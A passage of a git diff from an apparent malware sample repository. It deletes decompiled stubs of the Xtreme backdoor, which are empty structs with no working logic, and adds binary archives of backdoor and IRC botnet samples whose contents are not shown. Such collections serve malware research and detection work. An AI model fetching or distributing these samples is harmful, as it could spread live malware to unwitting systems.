- { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/´.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/´.cs deleted file mode 100644 index e6d1fc04..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/´.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.´ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00B4 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/µ.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/µ.cs deleted file mode 100644 index 3acfb513..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/µ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.µ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct µ - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/Á.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/Á.cs deleted file mode 100644 index 95045a3b..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/Á.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Á -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct Á - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/Ê.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/Ê.cs deleted file mode 100644 index 0f1fd868..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/Ê.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ê - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/ä.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/ä.cs deleted file mode 100644 index 4237fbea..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/ä.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct ä - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_0090.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_0090.cs deleted file mode 100644 index 22816e06..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_0090.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_0098.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_0098.cs deleted file mode 100644 index 1cc4c19c..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_0098.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚˜ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082\u0098 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_009D.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_009D.cs deleted file mode 100644 index 77f44720..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_0082_009D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u009D - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_008E.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_008E.cs deleted file mode 100644 index 1bdac09f..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/_008E.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u008E - { - [NativeCppClass] - [CLSCompliant(false)] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/®.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/®.cs deleted file mode 100644 index 678562e5..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/®.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.® -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00AE - { - [CLSCompliant(false)] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ñ.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ñ.cs deleted file mode 100644 index 515947c8..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ñ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ö.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ö.cs deleted file mode 100644 index 17424a3b..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ö.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ö -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct Ö - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ü.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ü.cs deleted file mode 100644 index 83c25d08..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/Ü.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/è.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/è.cs deleted file mode 100644 index 154728b8..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/å/è.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.è -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct è - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/_0081Ï.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/_0081Ï.cs deleted file mode 100644 index 2441e64d..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/_0081Ï.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.Ï -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 20)] - internal struct \u0081Ï - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/_0099.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/_0099.cs deleted file mode 100644 index 5b9cb3a0..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/_0099.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.™ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0099 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/¦.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/¦.cs deleted file mode 100644 index 1170d0c3..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/¦.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/¿.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/¿.cs deleted file mode 100644 index 2904b0b2..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/¿.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¿ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00BF - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/ñ.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/ñ.cs deleted file mode 100644 index be60c743..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/ñ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/ü.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/ü.cs deleted file mode 100644 index 09774da0..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/õ/ü.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [NativeCppClass] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct ü - { - } -} diff --git a/Win32/APTMuddy.Python.C2.zip b/Python/APTMuddy.Python.C2.zip similarity index 100% rename from Win32/APTMuddy.Python.C2.zip rename to Python/APTMuddy.Python.C2.zip diff --git a/Win32/Backdoor.MSIL.Small.h.7z b/Win32/Backdoor.MSIL.Small.h.7z new file mode 100644 index 00000000..6fa354d6 Binary files /dev/null and b/Win32/Backdoor.MSIL.Small.h.7z differ diff --git a/Win32/Botnets/Backdoor.MSIL.IrcBot.lp.7z b/Win32/Botnets/Backdoor.MSIL.IrcBot.lp.7z new file mode 100644 index 00000000..32ad6c79 Binary files /dev/null and b/Win32/Botnets/Backdoor.MSIL.IrcBot.lp.7z differ diff --git a/Win32/Botnets/Backdoor.MSIL.IrcBot.rg.7z b/Win32/Botnets/Backdoor.MSIL.IrcBot.rg.7z new file mode 100644 index 00000000..efbf563e Binary files /dev/null and b/Win32/Botnets/Backdoor.MSIL.IrcBot.rg.7z differ diff --git a/Win32/Botnets/Backdoor.MSIL.IrcBot.rgf.7z b/Win32/Botnets/Backdoor.MSIL.IrcBot.rgf.7z new file mode 100644 index 00000000..f0426d52 Binary files /dev/null and b/Win32/Botnets/Backdoor.MSIL.IrcBot.rgf.7z differ diff --git a/Win32/Botnets/Backdoor.MSIL.Ubot.bb.7z b/Win32/Botnets/Backdoor.MSIL.Ubot.bb.7z new file mode 100644 index 00000000..c85f3044 Binary files /dev/null and b/Win32/Botnets/Backdoor.MSIL.Ubot.bb.7z differ diff --git a/Win32/Botnets/Backdoor.MSIL.Ubot.bd.7z b/Win32/Botnets/Backdoor.MSIL.Ubot.bd.7z new file mode 100644 index 00000000..ee1674c0 Binary files /dev/null and b/Win32/Botnets/Backdoor.MSIL.Ubot.bd.7z differ diff --git a/Win32/Botnets/Backdoor.Win32.Androm.hdnr.7z b/Win32/Botnets/Backdoor.Win32.Androm.hdnr.7z new file mode 100644 index 00000000..27b40bf5 Binary files /dev/null and b/Win32/Botnets/Backdoor.Win32.Androm.hdnr.7z differ diff --git a/Win32/Botnets/Backdoor.Win32.IRCBot.jvw.7z b/Win32/Botnets/Backdoor.Win32.IRCBot.jvw.7z new file mode 100644 index 00000000..886876c8 Binary files /dev/null and b/Win32/Botnets/Backdoor.Win32.IRCBot.jvw.7z differ diff --git a/Win32/Botnets/Backdoor.Win32.Xtreme.bqj.7z b/Win32/Botnets/Backdoor.Win32.Xtreme.bqj.7z new file mode 100644 index 00000000..81d9e918 Binary files /dev/null and 